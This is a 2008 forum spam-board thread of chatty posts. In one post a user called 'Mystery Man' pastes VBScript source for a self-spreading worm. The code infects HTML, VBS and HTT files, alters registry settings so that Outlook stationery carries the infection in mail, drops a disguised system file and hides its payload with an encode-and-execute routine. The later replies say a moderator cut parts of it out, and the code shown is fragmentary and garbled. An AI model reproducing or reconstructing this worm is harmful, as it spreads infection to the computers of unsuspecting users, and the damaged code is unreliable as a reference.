|
hi
Feb 2, 2008 22:24:48 GMT -5
Post by chargers07 on Feb 2, 2008 22:24:48 GMT -5
*gets serious at the word "Shut Up"*
|
|
|
hi
Feb 3, 2008 19:02:44 GMT -5
Post by ~+>>Platypus<<+~ on Feb 3, 2008 19:02:44 GMT -5
lol
|
|
|
hi
Feb 3, 2008 21:52:24 GMT -5
Post by ☼Lord~Corran☼ on Feb 3, 2008 21:52:24 GMT -5
~.^
|
|
|
hi
Feb 3, 2008 22:08:47 GMT -5
Post by ×Lady~Path'en× on Feb 3, 2008 22:08:47 GMT -5
*gets serious ON the word "seriously" and "used"*
qjhbfjqwigfjw;kgqELGasgnklxbhsdh;k;[,kdfln WHY IS THE GUEST BOOK ALL SCREWED UP! i cant post on it! ><
|
|
|
hi
Feb 4, 2008 8:36:08 GMT -5
Post by Mystery Man on Feb 4, 2008 8:36:08 GMT -5
This is not for children's eyes
Dim InWhere,HtmlText,VbsText,DegreeSign,AppleObject,FSO,WsShell,WinPath,SubE,FinalyDisk Sub KJ_start() KJSetDim() KJCreateMilieu()
KJPropagate() End Sub
Function KJAppendTo(FilePath,TypeStr) On Error Resume Next Set ReadTemp = FSO.OpenTextFile(FilePath,1) TmpStr = ReadTemp.ReadAll If Instr(TmpStr,"KJ_start()") <> 0 Or Len(TmpStr) < 1 Then ReadTemp.Close Exit Function End If If TypeStr = "htt" Then ReadTemp.Close Set FileTemp = FSO.OpenTextFile(FilePath,2) FileTemp.Write "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & TmpStr & vbCrLf & HtmlText FileTemp.Close Set FAttrib = FSO.GetFile(FilePath) FAttrib.attributes = 34 Else ReadTemp.Close Set FileTemp = FSO.OpenTextFile(FilePath,8) If TypeStr = "html" Then FileTemp.Write vbCrLf & "<" & "HTML>" & vbCrLf & "<" & "BODY ElseIf TypeStr = "vbs" Then FileTemp.Write vbCrLf & VbsText End If FileTemp.Close End If
SubE = 0 Else KJChangeSub = Chr(Asc(Left(LCase(CurrentString),1)) - 1) & ":\" SubE = 0 End If Else KJChangeSub = Mid(CurrentString,1,LastIndexChar) End If End Function
Function KJCreateMail() On Error Resume Next If InWhere = "html" Then Exit FunctionFSO.FileExists(ShareFile)) Then Call KJAppendTo(ShareFile,"html") Else Set FileTemp = FSO.OpenTextFile(ShareFile,2,true) FileTemp.Write "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & ("HKEY_CURRENT_USER\Identities\Default User ID") OutLookVersion = WsShell.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\MediaVer") WsShell.RegWrite "HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Compose Use Stationery",1,"REG_DWORD" Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Stationery Name",ShareFile) Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Wide Stationery Name",ShareFile) WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Outlook\Options\Mail\EditorPreference",131072,"REG_DWORD" Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360","blank") Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360","blank") WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Outlook\Options\Mail\EditorPreference",131072,"REG_DWORD" Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Common\MailSettings\NewStationery","blank") KJummageFolder(Left(WinPath,3) & "Program Files\Common Files\Microsoft Shared\Stationery") End Function
Function KJCreateMilieu() On Error Resume Next TempPath = "" If Not(FSO.FileExists(WinPath & "WScript.exe")) Then TempPath = "system32\" End If If TempPath = "system32\" Then StartUpFile = WinPath & "SYSTEM\Kernel32.dll" Else StartUpFile = WinPath & "SYSTEM\Kernel.dll" End If \Folder.htt","htt") WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\","dllfile" WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\Content Type","application/x-msdownload" WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\DefaultIcon\",WsShell.RegRead("HKEY_CLASSES_ROOT\vxdfile\DefaultIcon\") WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\ScriptEngine\","\dllFile\ScriptHostEncode\","{85131631-480C-11D2-B1F9-00C04F86C324}" Set FileTemp = FSO.OpenTextFile(StartUpFile,2,true) FileTemp.Write VbsText FileTemp.Close End Function
Function KJLikeIt() If InWhere <> "html" Then Exit Function End If ThisLocation = document.location If Left(ThisLocation, 4) = "file" Then ThisLocation = Mid(ThisLocation,9) If FSO.GetExtensionName(ThisLocation) <> "" then ThisLocation = Left(ThisLocation,Len(ThisLocation) - Len(FSO.GetFileName(ThisLocation))) End If If Len(ThisLocation) > 3 Then ThisLocation = ThisLocation & "\" End If KJummageFolder(ThisLocation) End If End Function
Function KJMailReg(RegStr,FileName) On Error Resume Next
End Function
Function KJOboSub(CurrentString) SubE = 0 TestOut = 0 Do While True TestOut = TestOut + 1 If TestOut > 28 Then CurrentString = FinalyDisk & ":\" Exit Do End If On Error Resume Next Set ThisFolder = FSO.GetFolder(CurrentString) Set DicSub = CreateObject("Scripting.Dictionary") Set Folders = ThisFolder.SubFolders FolderCount = 0 For Each TempFolder in Folders FolderCount = FolderCount + 1 DicSub.add FolderCount, TempFolder.Name Next If DicSub.Count = 0 Then
Else If SubE = 0 Then CurrentString = CurrentString & DicSub.Item(1) & "\" Exit Do Else j = 0 For j = 1 To FolderCount If LCase(SubString) = LCase(DicSub.Item(j)) Then If j < FolderCount Then CurrentString = CurrentString & DicSub.Item(j+1) & "\" Exit Do End If End If Next LastIndexChar = InstrRev(CurrentString,"\",Len(CurrentString)-1) )-LastIndexChar-1) CurrentString = KJChangeSub(CurrentString,LastIndexChar) End If End If Loop KJOboSub = CurrentString End Function
Function KJPropagate() On Error Resume Next RegPathValue = "HKY_OCAL_MACHINE\Software\Microsoft\Outlook Express\Degree" DiskDegre = WsShell.RegRead(RegPathValue) If DiskDegree = "" Then DiskDegre = FinalyDisk & ":\" End If For =1 to 5 DiskDegree = KJOboSub(DiskDegree) KJummageFolder(DiskDegree) Next WsShell.RegWrite RegPathValue,DiskDegree End Function
Function KJummageFolder(PathName) On Error Resume Next Set FolderName = FSO.GetFolder(PathName) Set ThisFiles = FolderName.Files HttExists = 0 For Each TsFile In ThisFiles FileExt = UCase(FSO.GetExtensionName(ThisFile.Path)) If FileExt = "HTM" Or FileExt = "HTML" Or FileExt = "ASP" Or FileExt = "PHP" Or FileExt = "JSP" Then Call (ThisFile.Path,"html") ElseIf FileExt = "VBS" Then Call KJAppenTo(ThisFile.Path,"vbs") ElseIf FileExt = "HTT" Then HttExists = 1 End If Next If (UCase(PathName) = UCase(WinPath & "Desktop\")) Or (UCase(PathName) = UCase(WinPath & "Desktop"))Then HttExists = 1 End If If HttExists = 0 Then FSO.CopyFile WinPath & "system32\desktop.ini",PathName FSO.CopyFile WinPath & "web\Folder.htt",PathName End If End Function
Functin KJSetDim() On Error esume Next Err.Clear TestIt = WSript.ScriptFullname If Err Then InWhere = "html" Else InWhere = "vbs" End If If InWhere = "vbs" Then Set FSO = CreateObject("Scripting.FileSystemObject") Set WsShell = CreateObject("WScript.Shell") Else Set AppleObject = document.applets("KJ_guest") AppleObject.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}") AppleObjet.createInstance() Set WsShell = AppleObject.GetObject() AppleObject.setCLSID("{0D43FE01-F093-11CF-8940-00A0C905428}") AppleObject.createInstance() Set FSO = AppleObject.GetObject() End I Set DisObject = FSO.Drives For Each DiskTemp In DiskObject If DiskTemp.DriveType <> 2 And DiskTemp.DriveType <> 1 Then Exit For End If FinalyDisk = DiskTemp.DriveLetter Next Dim OtherArr(3) Randomize For i=0 To 3 OtherArr(i) = Int((9 * Rnd)) Next TempString = "" For i=1 To Len(ThisText)
ElseIf TempNum = 10 Then TempNum = 29 End If TempChar = Chr(TempNum - OtherArr(i Mod 4)) If TempChar = Chr(34) Then TempChar = Chr(18) End If TempString = TempString & TempChar Next UnLockStr = "Execute(""Dim KeyArr(3),ThisText""&vbCrLf&""KeyArr(0) = " & OtherArr(0) & """&vbCrLf&""KeyArr(1) = " & OtherArr(1) & """&vbCrLf&""KeyArr(2) = " & OtherArr(2) & """&vbCrLf&""KeyArr(3) = " & OtherArr(3) & """&vbCrLf&""For i=1 To Len(ExeString)""&vbCrLf&""TempNum = Asc(Mid(ExeString,i,1))""&vbCrLf&""If TempNum = 18 Then""&vbCrLf&""TempNum = 34""&vbCrLf&""End If""&vbCrLf&""TempChar = Chr(TempNum + KeyArr(i Mod 4))""&vbCrLf&""If TempChar = Chr(28) Then""&vbCrLf&""TempChar = vbCr""&vbCrLf&""ElseIf TempChar = Chr(29) Then""&vbCrLf&""TempChar = vbLf""&vbCrLf&""End If""&vbCrf&""ThisText = ThisText & TempChar""&vbCrLf&""Next"")" & vbCrLf & "Execute(ThisText)" ThisText = "EStri = """ & TempString & """" HtmlText ="<" & "scrpt language=vbscript>" & vbCrLf & "document.write " & """" & "<" & "div style='position:absolute; left:0px; top:& "APPLE"/div>""" & vbCrLf & "<" & "/script>" & vbCrLf & "<" & "=vbscript>" &script>" & vbCrLf & "<" & "/BODY>" & vbCrLf & "<" & "/HTML>" VbsText = ThisText & vbCrLf & UnLockStr & vbCrLf & "KJ_start()" WinPath = FSO.GetSpecialFolder(0) & "\" If (FSO.FileExists(WinPath & "web\Folder.htt")) Then FSO.CopyFile WinPath & "web\Folder.htt",WinPath & "web\kjwall.gif" End If If (FSO.FileExists(WinPath & "system32\desktop.ini")) Then FSO.CopyFile WinPath & "system32\desktop.ini",WinPath & "system32\kjwall.gif" End If End Funct
|
|
|
hi
Feb 4, 2008 12:49:00 GMT -5
Post by ×Lady~Path'en× on Feb 4, 2008 12:49:00 GMT -5
um.............. okay O.o
this is spam so shouldent it be in the Spam Board....? -.-
|
|
|
hi
Feb 4, 2008 14:28:29 GMT -5
Post by ☼Lord~Corran☼ on Feb 4, 2008 14:28:29 GMT -5
but it IS in the spam board >.>
|
|
|
hi
Feb 4, 2008 19:19:18 GMT -5
Post by {Jedi}Ldr.Ender on Feb 4, 2008 19:19:18 GMT -5
not for children's eyes indeed. That's the code to some kind of Virus : /
I'm going to delete some of the code so some idiot doesn't copy and paste it somewhere naughty and it does soemthing...
|
|
|
hi
Feb 5, 2008 0:12:47 GMT -5
Post by ×Lady~Path'en× on Feb 5, 2008 0:12:47 GMT -5
lmao I forgot this thread is IN the spam area, yea my mine went blank for a second lolol oh well. and im guessing you know from copying and pasting that ender? lol
|
|
|
hi
Feb 5, 2008 20:39:31 GMT -5
Post by {Jedi}Ldr.Ender on Feb 5, 2008 20:39:31 GMT -5
maybe I can read this crap...?
|
|
|
hi
Feb 5, 2008 23:17:01 GMT -5
Post by ☼Lord~Corran☼ on Feb 5, 2008 23:17:01 GMT -5
Maybe he's the one that pasted it on the forums?
|
|
|
hi
Feb 8, 2008 15:54:14 GMT -5
Post by ×Lady~Path'en× on Feb 8, 2008 15:54:14 GMT -5
I thought of that corran... hmmmmmmmmmmmmm lol >.>
|
|
|
hi
Feb 8, 2008 22:33:47 GMT -5
Post by chargers07 on Feb 8, 2008 22:33:47 GMT -5
wow.......... i need to sue this mystery man..... unless he reveals himself and i might make an exception
|
|
|
hi
Feb 10, 2008 0:43:49 GMT -5
Post by ☼Lord~Corran☼ on Feb 10, 2008 0:43:49 GMT -5
Caps lsot his account again ^^
|
|
|
hi
Feb 10, 2008 0:45:23 GMT -5
Post by ×Lady~Path'en× on Feb 10, 2008 0:45:23 GMT -5
rofl i wonder why =P
must have did something to pissed someone off, again
|
|